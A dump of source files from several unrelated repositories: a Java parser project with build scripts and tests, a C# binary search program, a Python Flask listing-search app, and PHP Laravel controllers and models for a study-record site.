this.right.equals(((Pair) obj).right); } @Override public String toString() { return "(" + this.left + ", " + this.right + ")"; } } <file_sep>/setup.sh #!/bin/bash trap "echo; echo '++++ error happened ++++'; exit 1" ERR check_tool() { echo -n "-- found $1 - "; which $1 } apply_patch() { test -d $1 for p in $(find $1 -name "*.patch"); do echo "apply patch: $p" git apply $p done } # check tools check_tool git check_tool ant check_tool mvn # init submodule git submodule update --init # build Nez cd ./external/nez apply_patch ../../patch ant clean ant ant nez-core git stash && git stash clear mvn install:install-file -Dfile=nez-core.jar -DgroupId=nez-core -DartifactId=nez-core -Dversion=0.1 -Dpackaging=jar <file_sep>/src/test/java/loglang/InputStreamContextTest.java package loglang; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import java.io.ByteArrayInputStream; import static org.junit.Assert.*; /** * Created by skgchxngsxyz-osx on 15/10/06. */ public class InputStreamContextTest { private static int oldCapacity = 0; private static int oldReadSize = 0; private static InputStreamContext newInput(String text) { return new InputStreamContext("<dummy>", new ByteArrayInputStream(text.getBytes())); } @BeforeClass public static void setup() { oldCapacity = InputStreamContext.DEFAULT_CAPACITY; oldReadSize = InputStreamContext.DEFAULT_READ_SIZE; } @AfterClass public static void teardown() { InputStreamContext.DEFAULT_CAPACITY = oldCapacity; InputStreamContext.DEFAULT_READ_SIZE = oldReadSize; } @Before public void setupMethod() { InputStreamContext.DEFAULT_CAPACITY = oldCapacity; InputStreamContext.DEFAULT_READ_SIZE = oldReadSize; } @Test public void test() throws Exception { String text = "12"; InputStreamContext input = newInput(text); assertEquals(text.length(), input.length()); input.consume(2); assertEquals(input.getPosition(), input.length()); } @Test public void test2() throws Exception { InputStreamContext.DEFAULT_CAPACITY = 4; InputStreamContext.DEFAULT_READ_SIZE = 2; String text = "0123456789"; InputStreamContext input = newInput(text); assertEquals('0', input.byteAt(0)); input.consume(1); assertEquals(2, input.length()); assertEquals(2, input.length()); assertEquals('1', input.byteAt(1)); input.consume(1); assertEquals(4, input.length()); assertEquals(4, input.length()); input.rollback(0); for(int i = 0; i < text.length(); i++) { assertEquals(text.charAt(i), input.byteAt(i)); input.consume(1); } assertEquals(text.length(), input.length()); } }<file_sep>/parse.sh #!/bin/bash if [ $# != 1 ]; then echo "usage: $0 [script file name]" exit 1 fi if [ -e $1 ]; then : else echo "usage: $0 [script file name]" exit 1 fi java -jar ./external/nez/nez.jar ast -p ./src/main/resources/nez/lib/loglang.nez -i $1 <file_sep>/src/main/java/loglang/Node.java package loglang; import loglang.symbol.MemberRef; import nez.peg.tpeg.LongRange; import nez.peg.tpeg.type.LType; import java.util.ArrayList; import java.util.List; import java.util.Objects; import java.util.Optional; import java.util.function.UnaryOperator; /** * Created by skgchxngsxyz-osx on 15/08/18. */ public abstract class Node { private final LongRange range; private LType type = null; public Node(LongRange range) { this.range = range; } public LongRange getRange() { return range; } /** * * @return * if not performed type checking, return null */ public LType getType() { return this.type; } public void setType(LType type) { this.type = Objects.requireNonNull(type); } /** * must call after type checking. * @return */ public boolean hasReturnValue() { return !this.type.isVoid(); } public abstract <T, P> T accept(NodeVisitor<T, P> visitor, P param); public static class IntLiteralNode extends Node { private final int value; public IntLiteralNode(LongRange range, int value) { super(range); this.value = value; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitIntLiteralNode(this, param); } public int getValue() { return this.value; } } public static class FloatLiteralNode extends Node { private final float value; public FloatLiteralNode(LongRange range, float value) { super(range); this.value = value; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitFloatLiteralNode(this, param); } public float getValue() { return this.value; } } public static class BoolLiteralNode extends Node { private final boolean value; public BoolLiteralNode(LongRange range, boolean value) { super(range); this.value = value; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitBoolLiteralNode(this, param); } public boolean getValue() { return this.value; } } public static class StringLiteralNode extends Node { private final String value; public StringLiteralNode(LongRange range, String value) { super(range); this.value = Objects.requireNonNull(value); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitStringLiteralNode(this, param); } public String getValue() { return this.value; } } public static class TernaryNode extends Node { private Node condNode; private Node leftNode; private Node rightNode; public TernaryNode(LongRange range, Node condNode, Node leftNode, Node rightNode) { super(range); this.condNode = Objects.requireNonNull(condNode); this.leftNode = Objects.requireNonNull(leftNode); this.rightNode = Objects.requireNonNull(rightNode); } public Node getCondNode() { return condNode; } public Node getLeftNode() { return leftNode; } public void replaceLeftNode(UnaryOperator<Node> op) { this.leftNode = Objects.requireNonNull(op.apply(this.leftNode)); } public Node getRightNode() { return rightNode; } public void replaceRightNode(UnaryOperator<Node> op) { this.rightNode = Objects.requireNonNull(op.apply(this.rightNode)); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitTernaryNode(this, param); } } public static class CondOpNode extends Node { private final boolean isAnd; private Node leftNode; private Node rightNode; CondOpNode(LongRange range, Node leftNode, Node rightNode, boolean isAnd) { super(range); this.leftNode = Objects.requireNonNull(leftNode); this.rightNode = Objects.requireNonNull(rightNode); this.isAnd = isAnd; } public static CondOpNode newAndNode(LongRange range, Node leftNode, Node rightNode) { return new CondOpNode(range, leftNode, rightNode, true); } public static CondOpNode newOrNode(LongRange range, Node leftNode, Node rightNode) { return new CondOpNode(range, leftNode, rightNode, false); } public Node getLeftNode() { return leftNode; } public Node getRightNode() { return rightNode; } public boolean isAnd() { return isAnd; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitCondOpNode(this, param); } } public static class CaseNode extends Node { int caseIndex = -1; private final List<StateDeclNode> stateDeclNodes = new ArrayList<>(); private final BlockNode blockNode; /** * may be null if has no label */ private final String labelName; /** * maximum number of local variable(for byte code generation) */ private int localSize = 0; /** * represent case context */ private LType.AbstractStructureType thisType = null; public CaseNode(LongRange range, String labelName) { super(range); this.blockNode = new BlockNode(range); this.labelName = labelName; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitCaseNode(this, param); } public int getCaseIndex() { return this.caseIndex; } public BlockNode getBlockNode() { return this.blockNode; } public List<StateDeclNode> getStateDeclNodes() { return stateDeclNodes; } public void addStmtNode(Node node) { this.blockNode.addNode(node); } public void addStateDeclNode(StateDeclNode node) { this.stateDeclNodes.add(node); } /** * * @return * may be null */ public String getLabelName() { return labelName; } public void setLocalSize(int size) { this.localSize = size; } public int getLocalSize() { return this.localSize; } public void setThisType(LType.AbstractStructureType thisType) { this.thisType = thisType; } public LType.AbstractStructureType getThisType() { return thisType; } } public static class BlockNode extends Node { private final List<Node> nodes = new ArrayList<>(); public BlockNode(LongRange range) { super(range); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitBlockNode(this, param); } public List<Node> getNodes() { return nodes; } public void addNode(Node node) { this.nodes.add(Objects.requireNonNull(node)); } } public static class StateDeclNode extends Node { private final String name; private Node initValueNode; public StateDeclNode(LongRange range, String name, Node initValueNode) { super(range); this.name = Objects.requireNonNull(name); this.initValueNode = Objects.requireNonNull(initValueNode); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitStateDeclNode(this, param); } public void replaceInitValueNode(UnaryOperator<Node> op) { this.initValueNode = Objects.requireNonNull(op.apply(this.initValueNode)); } public Node getInitValueNode() { return initValueNode; } public String getName() { return name; } } public static class VarDeclNode extends Node { private final String name; private Node initValueNode; private MemberRef.FieldRef entry; public VarDeclNode(LongRange range, String name, Node initValueNode) { super(range); this.name = Objects.requireNonNull(name); this.initValueNode = Objects.requireNonNull(initValueNode); } public String getName() { return name; } public void replaceInitValueNode(UnaryOperator<Node> op) { this.initValueNode = Objects.requireNonNull(op.apply(this.initValueNode)); } public Node getInitValueNode() { return initValueNode; } public void setEntry(MemberRef.FieldRef entry) { this.entry = entry; } public MemberRef.FieldRef getEntry() { return entry; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitVarDeclNode(this, param); } } public static class VarNode extends Node { private final String varName; private MemberRef.FieldRef entry; public VarNode(LongRange range, String varName) { super(range); this.varName = Objects.requireNonNull(varName); this.entry = null; } public String getVarName() { return this.varName; } public void setEntry(MemberRef.FieldRef entry) { this.entry = Objects.requireNonNull(entry); } /** * * @return * return null before call setEntry */ public MemberRef.FieldRef getEntry() { return this.entry; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitVarNode(this, param); } } /** * for printing */ public static class PrintNode extends Node { private Node exprNode; public PrintNode(LongRange range, Node exprNode) { super(range); this.exprNode = Objects.requireNonNull(exprNode); } public Node getExprNode() { return exprNode; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitPrintNode(this, param); } } public static class AssertNode extends Node { private Node condNode; private Optional<Node> msgNode; public AssertNode(LongRange range, Node condNode, Node msgNode) { super(range); this.condNode = Objects.requireNonNull(condNode); this.msgNode = Optional.ofNullable(msgNode); } public Node getCondNode() { return condNode; } public Optional<Node> getMsgNode() { return msgNode; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitAssertNode(this, param); } } public static class WhileNode extends Node { private Node condNode; private BlockNode blockNode; public WhileNode(LongRange range, Node condNode, BlockNode blockNode) { super(range); this.condNode = Objects.requireNonNull(condNode); this.blockNode = Objects.requireNonNull(blockNode); } public Node getCondNode() { return condNode; } public BlockNode getBlockNode() { return blockNode; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitWhileNode(this, param); } } public static class DoWhileNode extends Node { private BlockNode blockNode; private Node condNode; public DoWhileNode(LongRange range, BlockNode blockNode, Node condNode) { super(range); this.blockNode = Objects.requireNonNull(blockNode); this.condNode = Objects.requireNonNull(condNode); } public BlockNode getBlockNode() { return blockNode; } public Node getCondNode() { return condNode; } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitDoWhileNode(this, param); } } public static class IfNode extends Node { private Node condNode; private Node thenNode; private Optional<Node> elseNode; /** * * @param range * @param condNode * @param thenNode * @param elseNode * may be null if has no else */ public IfNode(LongRange range, Node condNode, Node thenNode, Node elseNode) { super(range); this.condNode = Objects.requireNonNull(condNode); this.thenNode = Objects.requireNonNull(thenNode); this.elseNode = Optional.ofNullable(elseNode); } public Node getCondNode() { return condNode; } public Node getThenNode() { return thenNode; } public void replaceThenNode(UnaryOperator<Node> op) { this.thenNode = Objects.requireNonNull(op.apply(this.getThenNode())); } public Optional<Node> getElseNode() { return elseNode; } public void repalceElseNodeIfExist(UnaryOperator<Node> op) { this.elseNode = this.elseNode.map(op::apply); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitIfNode(this, param); } } /** * pseudo node for stack operation. * pop stack top. */ public static class PopNode extends Node { private final Node exprNode; /** * * @param exprNode * must be type checked. */ public PopNode(Node exprNode) { super(exprNode.range); this.exprNode = Objects.requireNonNull(exprNode); Objects.requireNonNull(exprNode.getType()); this.setType(LType.voidType); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitPopNode(this, param); } public Node getExprNode() { return exprNode; } } public static class RootNode extends Node { private final List<CaseNode> caseNodes = new ArrayList<>(); public RootNode(LongRange range) { super(range); } @Override public <T, P> T accept(NodeVisitor<T, P> visitor, P param) { return visitor.visitRootNode(this, param); } public List<CaseNode> getCaseNodes() { return caseNodes; } public void addCaseNode(CaseNode node) { node.caseIndex = this.caseNodes.size(); this.caseNodes.add(node); } } } <file_sep>/src/main/java/loglang/CaseContext.java package loglang; import nez.ast.Tree; /** * Created by skgchxngsxyz-osx on 15/08/14. */ @FunctionalInterface public interface CaseContext { /** * * @param prefixTree * may be null if has no prefix * @param bodyTree */ void invoke(Tree<?> prefixTree, Tree<?> bodyTree); } <file_sep>/src/main/java/loglang/misc/Utils.java package loglang.misc; /** * Created by skgchxngsxyz-osx on 15/08/13. */ public class Utils { private Utils() {} public static RuntimeException propagate(Exception e) { if(e instanceof RuntimeException) { return (RuntimeException) e; } return new RuntimeException(e); } private final static String[] enableKeywords = { "on", "true", "enable", }; private final static String[] disableKeywords = { "off", "false", "disable", }; public static boolean checkProperty(final String propertyName, final boolean defaultValue) { String property = System.getProperty(propertyName); for(String keyword : enableKeywords) { if(keyword.equalsIgnoreCase(property)) { return true; } } for(String keyword : disableKeywords) { if(keyword.equalsIgnoreCase(property)) { return false; } } return defaultValue; } public static int setFlag(int bitset, int flag) { return bitset | flag; } public static int unsetFlag(int bitset, int flag) { return bitset & (~flag); } public static boolean hasFlag(int bitset, int flag) { return (bitset & flag) == flag; } } <file_sep>/src/main/java/loglang/TreePrinter.java package loglang; import nez.ast.Tree; import java.io.PrintStream; /** * Created by skgchxngsxyz-osx on 15/09/30. */ public class TreePrinter extends TreeTranslator<Void> { protected PrintStream stream = null; public void print(Tree<?> tree) { this.translate(tree); } public static TreePrinter newPrinter(PrintStream stream) { TreePrinter p = new TreePrinterImpl(); p.stream = stream; return p; } } class TreePrinterImpl extends TreePrinter {{ this.add("RuleExpr", t -> { this.stream.print(t.get(0).toText()); if(!t.get(1).toText().isEmpty()) { this.stream.print(" : "); this.stream.print(t.get(1).toText()); } this.stream.print(" = "); this.print(t.get(2)); this.stream.println(); return null; }); this.add("ChoiceExpr", t -> { final int size = t.size(); for(int i = 0; i < size; i++) { if(i > 0) { this.stream.print(" / "); } this.print(t.get(i)); } return null; }); this.add("SequenceExpr", t -> { final int size = t.size(); for(int i = 0; i < size; i++) { if(i > 0) { this.stream.print(" "); } this.print(t.get(i)); } return null; }); this.add("LabeledExpr", t -> { this.stream.print("$"); this.stream.print(t.get(0).toText()); this.stream.print(" : "); this.print(t.get(1)); return null; }); this.add("AndExpr", t -> { this.stream.print("&("); this.print(t.get(0)); this.stream.print(")"); return null; }); this.add("NotExpr", t -> { this.stream.print("!("); this.print(t.get(0)); this.stream.print(")"); return null; }); this.add("ZeroMoreExpr", t -> { this.stream.print("("); this.print(t.get(0)); this.stream.print(")*"); return null; }); this.add("OneMoreExpr", t -> { this.stream.print("("); this.print(t.get(0)); this.stream.print(")+"); return null; }); this.add("OptionalExpr", t -> { this.stream.print("("); this.print(t.get(0)); this.stream.print(")?"); return null; }); this.add("NonTerminalExpr", t -> { this.stream.print(t.toText()); return null; }); this.add("AnyExpr", t -> { this.stream.print("."); return null; }); this.add("StringExpr", t -> { this.stream.print(t.toText()); return null; }); this.add("CharClassExpr", t -> { this.stream.print(t.toText()); return null; }); }}
d1887fd0d9e1c5e7004e9a69812547b4d58989bf
[ "Markdown", "Java", "Shell" ]
16
Java
sekiguchi-nagisa/loglang
515d71cdc15d4ff6fab1d1999704637ff18c4726
bf948fc981972691a5a2ad5f32668717c315eb78
refs/heads/master
<file_sep>using System; namespace binary_search { class Program { static int BinarySearch() { //Declaring An array and varibles int[] testedArray = { 1, 3, 6, 8, 9, 13, 15 }; int low = 0, high = testedArray.Length - 1; //taking an input from user (searched number) Console.WriteLine("please enter value"); string x = Console.ReadLine(); int takingValue = Convert.ToInt32(x); //searching algorthim while (low <= high) { int mid = (low + high) / 2; if (takingValue < testedArray[mid]) { high = mid - 1; } else if (takingValue > testedArray[mid]) { low = mid + 1; } else return mid; } //if element not found return -1; } static void Main(string[] args) { //calling the function Console.WriteLine("the element found in the index {0}",BinarySearch()); } } }
5f0307c0507224948fbf99263ec89371c6415f67
[ "C#" ]
1
C#
hamazon1232001/binary_search
5baa3aa96a33e9d5e04803cb8a1feac48b969a63
4d1a52bcbf53d9923a2dbf1c000c8b5355710652
refs/heads/main
<repo_name>JesseQ19/FirstRepository<file_sep>/first.py print("hello first1")
eb8ffb12689073c8b9b548e89e16c7054c7d0f16
[ "Python" ]
1
Python
JesseQ19/FirstRepository
0093cff8103301f143122a5f9eabd324794ea1a9
1eb6162bdd1ccf7083fd36bd3cc96162be6eaca9
refs/heads/master
<file_sep># Import flask deps from flask import request, render_template, \ flash, g, session, redirect, url_for, jsonify, abort # For decorators around routes from functools import wraps # Import for pass / encryption from werkzeug import check_password_hash, generate_password_hash # Import the db object from main app module from app import db # Marshmallow from marshmallow import ValidationError # Import socketio for socket creation in this module from app import socketio # Import module models # from app.irsystem import search # IMPORT THE BLUEPRINT APP OBJECT from app.irsystem import irsystem # Import module models from app.accounts.models.user import * from app.accounts.models.session import * import pandas as pd import numpy as np import re import ast print('loading data...') features = ['id','name', 'description', 'neighbourhood_cleansed', 'bathrooms','bedrooms','price','maximum_nights', 'amenities', 'picture_url', 'listing_url'] data = pd.read_csv("app/irsystem/controllers/cleaned_list.csv", encoding = "ISO-8859-1") data['bathrooms_text'] = data['bathrooms_text'].replace('Half-bath', '0.5 baths') data['bathrooms_text'] = data['bathrooms_text'].replace('Private half-bath', '0.5 baths') data['bathrooms_text'] = data['bathrooms_text'].replace('Shared half-bath', '0.5 baths') data['bathrooms_text'] = data['bathrooms_text'].replace(np.nan, '0', regex=True) data['bathrooms'] = data.bathrooms_text.str.split().str.get(0).astype(float) data['bedrooms'] = data['bedrooms'].replace(np.nan, '0', regex=True) data['bedrooms'] = data.bedrooms.astype(int) data['price'] = data['price'].replace('[\$,]', '', regex=True).astype(float).round(2) data['description'] = data['description'].replace(np.nan, '', regex=True) data['description'] = data['description'].replace(np.nan, '', regex=True) data['description'] = data['description'].apply(lambda x: re.sub(r'[^\x00-\x7F]+','', x)) data['name'] = data['name'].replace(np.nan, '', regex=True) data['name'] = data['name'].apply(lambda x: re.sub(r'[^\x00-\x7F]+','', x)) data['amenities'] = data['amenities'].apply(ast.literal_eval) print('data loaded') print('load reviews...') review = pd.read_csv("app/irsystem/controllers/pruned_review.csv") print('review loaded') def getdata(): return data[features].copy() def getreview(): return review <file_sep>from . import * from app.irsystem.models.helpers import * from app.irsystem.models.helpers import NumpyEncoder as NumpyEncoder from datetime import datetime from datetime import date from PyDictionary import PyDictionary import string import pandas as pd project_name = "Best Food Finder" net_id = "April Ye yy459, <NAME> ah2294, <NAME> jl3257, <NAME> sc2992, <NAME> jad493" features = ['name','description', 'neighbourhood_cleansed', 'bathrooms','bedrooms','price','maximum_nights', 'amenities', 'picture_url', 'listing_url', 'scores','comments','amenities_match'] # 0 1 2 3 4 5 6 7 8 9 10 11 12 from nltk.stem import PorterStemmer from nltk.sentiment import SentimentIntensityAnalyzer import pickle # import sentiment analysis and stemming #sia = SentimentIntensityAnalyzer() ps = PorterStemmer() loaded_model = pickle.load(open('app/irsystem/controllers/knnpickle_file', 'rb')) result = loaded_model.predict([[1,1,2000,1125]]) #print(sia.polarity_scores('i like this place')) def similarity_result(data, keyword): ''' @data : dataframe with pruned data @keyword : list of token in keyword ''' keyword = [w.lstrip() for w in keyword] keywordsWithSynonyms = [] dictionary=PyDictionary(keyword) for i, w in enumerate(keyword): synonyms = dictionary.getSynonyms()[i] keywordsWithSynonyms.append(w) if not synonyms is None: keywordsWithSynonyms += synonyms[w] keywordsWithSynonyms = [ps.stem(w) for w in keywordsWithSynonyms] reviews = getreview() rank = [] for i, text in enumerate(data['description']): #perform jaccard scores = 0 # remove punctuation tokens = text.strip(string.punctuation) tokens = tokens.lower().split() # stem the token tokens = [ps.stem(w) for w in tokens] intersection = len(list(set(tokens).intersection(set(keywordsWithSynonyms)))) union = (len(tokens) + len(keywordsWithSynonyms)) - intersection if (union == 0): print("union is 0") scores += float(intersection) / union list_id = data.iloc[i]['id'] #jaccard on amenities amenities = data.iloc[i]['amenities'] amenities= [ps.stem(w.lower()) for w in amenities] intersection = len(list(set(amenities).intersection(set(keywordsWithSynonyms)))) union = (len(amenities) + len(keywordsWithSynonyms)) - intersection scores += float(intersection) / union # compute the similairty score for review also for rev in reviews[reviews.listing_id == list_id]['comments']: tokens = rev.strip(string.punctuation) tokens = tokens.lower().split() tokens = [ps.stem(w) for w in tokens] intersection = len(list(set(tokens).intersection(set(keywordsWithSynonyms)))) union = (len(tokens) + len(keywordsWithSynonyms)) - intersection scores += float(intersection) / union rank.append((scores, i)) rank = sorted(rank, key=lambda tup: tup[0], reverse=True) # get the sorted index ranked_i = [doc[1] for doc in rank] scores = [doc[0] for doc in rank] return data.iloc[ranked_i], scores def getReviews(data): total_review = [] for i in range(len(data)): reviews = getreview() list_comment = [] id = data.iloc[i]['id'] for rev in reviews[reviews.listing_id == id]['comments']: list_comment.append(rev) total_review.append(list_comment) data['comments'] = total_review return data def getAmen(data, query): query = [w.lstrip() for w in query] lists = [] for i in range(len(data)): list_amen = [] for amen in data.iloc[i]['amenities']: if(amen.lower() in query): list_amen.append(amen) lists.append(list_amen) data['amenities_match'] = lists return data @irsystem.route('/search', methods=['GET']) def search(): print("in search") df = getdata() #Todo: so far i am not sure how the query will be passed in and how many will be passed so i just put some dummy value query = request.args.get('keywords') if not query: data = [] output_message = 'No result' return render_template('no_results.html') #return render_template('search.html', name=project_name, netid=net_id, output_message=output_message, data=data) print(query) output_message = "Your search: " + query price = int(request.args.get('budget')) nbh = request.args.get('neighborhood') bedrooms = int(request.args.get('bed')) bathrooms = int(request.args.get('bath')) start_date = datetime.strptime(request.args.get('start_date'), '%Y-%m-%d') end_date = datetime.strptime(request.args.get('end_date'), '%Y-%m-%d') today_date = datetime.strptime(date.today().strftime('%Y-%m-%d'), '%Y-%m-%d') time = (end_date - start_date).days start_date_check = (start_date - today_date).days print(start_date) print('------') print(today_date) if (time < 0 or start_date_check < 0): output_message = "The date you inputted was invalid," if start_date_check < 0: output_message += " start date must be after today's date." elif time < 0: output_message += " end date must be after start date." return render_template('no_results.html', output_message=output_message) # print(bedrooms) # print(bathrooms) # print(time) price /= time knn = False if not nbh: nbh = loaded_model.predict([[bathrooms,bedrooms,price,time]])[0] output_message = '' knn = True pruned_data = df[(df.neighbourhood_cleansed == nbh) & (df.price <= price) & (df.bedrooms >= bedrooms) & (df.bathrooms >= bathrooms) & (df.maximum_nights >= time)] if (len(pruned_data) == 0): pruned_data = df[(df.neighbourhood_cleansed == nbh) & (df.bedrooms >= bedrooms) & (df.bathrooms >= bathrooms) & (df.maximum_nights >= time)] output_message = 'No results for your query, but you might like these!' if (len(pruned_data) == 0): pruned_data = df[(df.neighbourhood_cleansed == nbh)] output_message = 'No results for your query, but you might like these!' res_list, scores= similarity_result(pruned_data, keyword=query.lower().split(',')) res_list = res_list[:5] scores = scores[:5] res_list['scores'] = scores if len(scores) > 0: res_list['scores'] = res_list['scores'].round(3) #print(res_list) res_list = getReviews(res_list) #print(res_list) print(res_list['comments']) print(res_list['scores']) # if jaccard is 0 if(len(res_list) != 0 and scores[0] == 0): res_list = res_list.sort_values('price') res_list = getAmen(res_list, query.lower().split(',')) res_list = res_list[features] for index, amen_list in res_list['amenities'].items(): res_list['amenities'][index] = list(set(amen_list).difference(set(res_list['amenities_match'][index]))) #res_list['maximum_nights'] = pd.to_numeric(res_list['maximum_nights'], errors='coerce') #res_list['bedrooms'] = pd.to_numeric(res_list['bedrooms'], errors='coerce') #res_list['bedrooms'].astype(int) #res_list['bathrooms'] = pd.to_numeric(res_list['bathrooms'], errors='coerce') #res_list['price'] = pd.to_numeric(res_list['price'], errors='coerce') #print(res_list) # description # neighbourhood_cleansed # bathrooms # bedrooms # price # maximum_nights if(len(res_list) == 0): output_message = 'No results for your query' if(knn == True): output_message += ' Recommended neighborhood: ' + nbh return render_template('results.html', name=project_name, netid=net_id, output_message=output_message, data=res_list.values.tolist()) @irsystem.route('/', methods=['GET']) def home(): print("in home") return render_template('search.html', name=project_name, netid=net_id)
00f55832c32bd428f513d549beeb212096831006
[ "Python" ]
2
Python
aprilyye/cs4300sp2020-yy459-sc2992-jad493-jl3257-ah2294
ea643fa027993be38a5c868513f22d9ef51adba6
cbe1519a95f302cdc8582895116414f20d4bb56f
refs/heads/master
<file_sep><?php namespace App; use Illuminate\Notifications\Notifiable; use Illuminate\Foundation\Auth\User as Authenticatable; class User extends Authenticatable { use Notifiable; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'name', 'email', 'password','activate','account','title','avatar' ]; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; public function profiles() { return $this->hasOne('App\Profile'); } public function study_categories() { return $this->hasOne('App\Study_category'); } public function articles() { return $this->hasMany('App\Article'); } public function posts() { return $this->hasMany('App\Post','articles'); } public function records() { return $this->hasMany('App\Record','articles','study_categories'); } public function questions() { return $this->hasMany('App\Question','articles'); } // 以下の記述を追加 public function likes() { return $this->hasMany(Like::class); } } <file_sep><?php namespace App\lib; class UserAgent{ private $ua; private $device; public function set(){ $this->ua = mb_strtolower($_SERVER['HTTP_USER_AGENT']); if(strpos($this->ua,'iphone') !== false){ $this->device = 'mobile'; }elseif(strpos($this->ua,'ipod') !== false){ $this->device = 'mobile'; }elseif((strpos($this->ua,'android') !== false) && (strpos($this->ua, 'mobile') !== false)){ $this->device = 'mobile'; }elseif((strpos($this->ua,'windows') !== false) && (strpos($this->ua, 'phone') !== false)){ $this->device = 'mobile'; }elseif((strpos($this->ua,'firefox') !== false) && (strpos($this->ua, 'mobile') !== false)){ $this->device = 'mobile'; }elseif(strpos($this->ua,'blackberry') !== false){ $this->device = 'mobile'; }elseif(strpos($this->ua,'ipad') !== false){ $this->device = 'tablet'; }elseif((strpos($this->ua,'windows') !== false) && (strpos($this->ua, 'touch') !== false && (strpos($this->ua, 'tablet pc') == false))){ $this->device = 'tablet'; }elseif((strpos($this->ua,'android') !== false) && (strpos($this->ua, 'mobile') === false)){ $this->device = 'tablet'; }elseif((strpos($this->ua,'firefox') !== false) && (strpos($this->ua, 'tablet') !== false)){ $this->device = 'tablet'; }elseif((strpos($this->ua,'kindle') !== false) || (strpos($this->ua, 'silk') !== false)){ $this->device = 'tablet'; }elseif((strpos($this->ua,'playbook') !== false)){ $this->device = 'tablet'; }else{ $this->device = 'others'; } return $this->device; } } <file_sep><?php namespace App\Http\Controllers; use App\Profile; use App\User; use App\Article; use Illuminate\Http\Request; class UserController extends Controller { public function index($account) { $profile = Profile::where('account', $account)->first(); //BIOを修正 $profile['bio']=nl2br($profile['bio']); //タグの切り分け $tags=explode(',',$profile['skill']); $user = User::where('account', $account)->first(); $articles = $user->articles()->latest()->paginate(20); foreach ($articles as $key=>$article) { $prof=$article->user()->find(1); $articles[$key]->name = $prof->name; $articles[$key]->account = $prof->account; $articles[$key]->avatar = $prof->avatar; switch ($article->type) { case 'post': $post=$article->posts()->get(); $articles[$key]->body = $post[0]->body; break; case 'record': $record=$article->records()->get(); $category=$record[0]->get_study_categories(); $articles[$key]->category=$category; $articles[$key]->memo = $record[0]->memo; $articles[$key]->record = substr($record[0]->record,0,5); break; case 'bookmark': $bookmark=$article->bookmarks()->get(); $articles[$key]->title = $bookmark[0]->title; $articles[$key]->url = $bookmark[0]->url; $articles[$key]->memo = $bookmark[0]->memo; break; default: # code... break; } } return view('user.userpage',compact('profile','tags','articles')); } } <file_sep><?php namespace App; use App\Study_category; use Illuminate\Database\Eloquent\Model; class Record extends Model { protected $fillable = [ 'type','memo','record','study_category_id' ]; public function articles() { return $this->belongsTo('App\Article')->withTimestamps(); } public function users() { return $this->belongsTo('App\User'); } public function get_study_categories() { $id=$this->study_category_id; $category=Study_category::where('id', $id)->get(); return $category; } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; class DocController extends Controller { public function welcome() { $articles = Article::latest()->paginate(20); foreach ($articles as $key=>$article) { $prof=$article->user()->find(1); $articles[$key]->name = $prof->name; $articles[$key]->account = $prof->account; $articles[$key]->avatar = $prof->avatar; switch ($article->type) { case 'post': $post=$article->posts()->get(); $articles[$key]->body = $post[0]->body; break; case 'record': $record=$article->records()->get(); $category=$record[0]->get_study_categories(); $articles[$key]->category=$category; $articles[$key]->memo = $record[0]->memo; $articles[$key]->record = $record[0]->record; break; case 'bookmark': $bookmark=$article->bookmarks()->get(); $articles[$key]->title = $bookmark[0]->title; $articles[$key]->url = $bookmark[0]->url; $articles[$key]->memo = $bookmark[0]->memo; break; default: # code... break; } } return view('welcome',compact('articles')); } } <file_sep>marked.setOptions({ breaks: true, langPrefix: '' }); function reWrite() { var plain_text = document.fm.body.value; if (document.getElementById) { if (plain_text=="") { plain_text="ここにプレビューが表示されます。"; } document.getElementById("str").innerHTML=marked(plain_text); MathJax.Hub.Queue(["Typeset",MathJax.Hub,"str"]); $(document).ready(function() { $('pre code').each(function(i, block) { hljs.highlightBlock(block); }); }); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use App\Vote; use Auth; use App\Article; class VoteController extends Controller { public function store(Request $request, $articleId) { switch ($request["vote"]) { case 'good': Article::findOrFail($articleId)->increment('votes_count'); break; case 'bad': Article::findOrFail($articleId)->decrement('votes_count'); break; default: return redirect() ->back(); break; } Vote::create( array( 'user_id' => Auth::user()->id, 'article_id' => $articleId, 'type'=>$request["vote"], ) ); return redirect() ->back(); } public function change($articleId, $voteId,Request $request) { $vote = Vote::findOrFail($voteId); $article = Article::findOrFail($articleId); switch ($request["vote"]) { case 'good': if ($vote->type=="good") { $vote->delete(); $article->decrement('votes_count'); }else { $vote->delete(); $article->increment('votes_count'); Vote::create( array( 'user_id' => Auth::user()->id, 'article_id' => $articleId, 'type'=>"good" ) ); $article->increment('votes_count'); } break; case 'bad': if ($vote->type=="bad") { $vote->delete(); $article->increment('votes_count'); }else { $vote->delete(); $article->decrement('votes_count'); Vote::create( array( 'user_id' => Auth::user()->id, 'article_id' => $articleId, 'type'=>"bad", ) ); $article->decrement('votes_count'); } break; default: return redirect() ->back(); break; } return redirect() ->back(); } } <file_sep><?php namespace App\Http\Controllers; use App\Profile; use App\User; use Illuminate\Http\Request; use App\Http\Requests\ProfileRequest; use App\Http\Requests\Study_categoryRequest; 